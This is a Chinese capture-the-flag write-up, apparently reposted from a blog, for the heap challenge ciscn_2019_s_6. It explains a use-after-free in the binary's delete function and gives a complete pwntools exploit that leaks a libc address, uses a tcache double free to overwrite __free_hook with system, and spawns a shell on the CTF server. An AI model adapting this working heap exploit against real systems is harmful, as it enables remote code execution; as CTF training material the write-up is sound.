zoukankan      html  css  js  c++  java
  • ciscn_2019_s_6

    安全检查

     开了ASLR,不能够用puts泄露了

    流程分析

    add函数

    这应该是个结构体,0x0-0x7装载着name,0x8-0xc装载着size,0xc-0x18为call,heap_number+1

     show函数

    打印,没什么特别

     call函数

    其实就是delete函数

     漏洞分析

    • 由于有aslr,所以只能想别的方法溢出,但delete有uaf漏洞,所以构造unsorted bin来泄露libc的地址
    • 泄露完libc的地址在double free然后劫持__hook_free函数,在调用即可
    from pwn import *
    
    #p=process('./ciscn_s_6')
    p=remote('node3.buuoj.cn',26462)
    elf=ELF('./ciscn_s_6')
    libc=ELF('./libc-2.27.so')
    def add(size,name,call):
        p.recvuntil('choice:')
        p.sendline('1')
        p.recvuntil('name')
        p.sendline(str(size))
        p.recvuntil('name:')
        p.sendline(name)
        p.recvuntil('call:')
        p.sendline(call)
    
    def show(idx):
        p.recvuntil('choice:')
        p.sendline('2')
        p.recvuntil('index:')
        p.sendline(str(idx))
        
    def delete(idx):
        p.recvuntil('choice:')
        p.sendline('3')
        p.recvuntil('index:')
        p.sendline(str(idx))
    
    
    
    add(0x88,'pppp','pppp')
    add(0x20,'pppp','pppp')
    add(0x20,'pppp','pppp')
    for i in range(7):
        delete(0)
    
    delete(0)
    show(0)
    p.recvuntil('name')
    unsorted_addr=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    print hex(unsorted_addr)
    libc_base=unsorted_addr-0x3ebca0
    free_addr=libc.symbols['__free_hook']+libc_base
    system_addr = libc_base + libc.symbols['system']
    
    print hex(free_addr)
    #p.recvuntil()
    delete(1)
    delete(1)
    delete(1)
    
    add(0x20,p64(free_addr),'pppp')
    add(0x20,'pppp','pppp')
    add(0x20,p64(system_addr),'pppp')
    add(0x20,'/bin/sh','pppp')
    
    delete(6)
    #gdb.attach(p)
    p.interactive()
  • 相关阅读:
    CODEVS 3137 栈练习1
    CODEVS 3138 栈练习2
    线段树———模板
    深度优先搜索与广度优先搜索———模板
    犯罪团伙 codevs 3554
    嘟!数字三角形 W WW WWW集合!
    寻找子串位置 codevs 1204
    流输入练习——寻找Sb.VI codevs 3096
    C++之路进阶——codevs3287(货车运输)
    c++之路进阶——codevs4543(普通平衡树)
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/13996874.html
Copyright © 2011-2022 走看看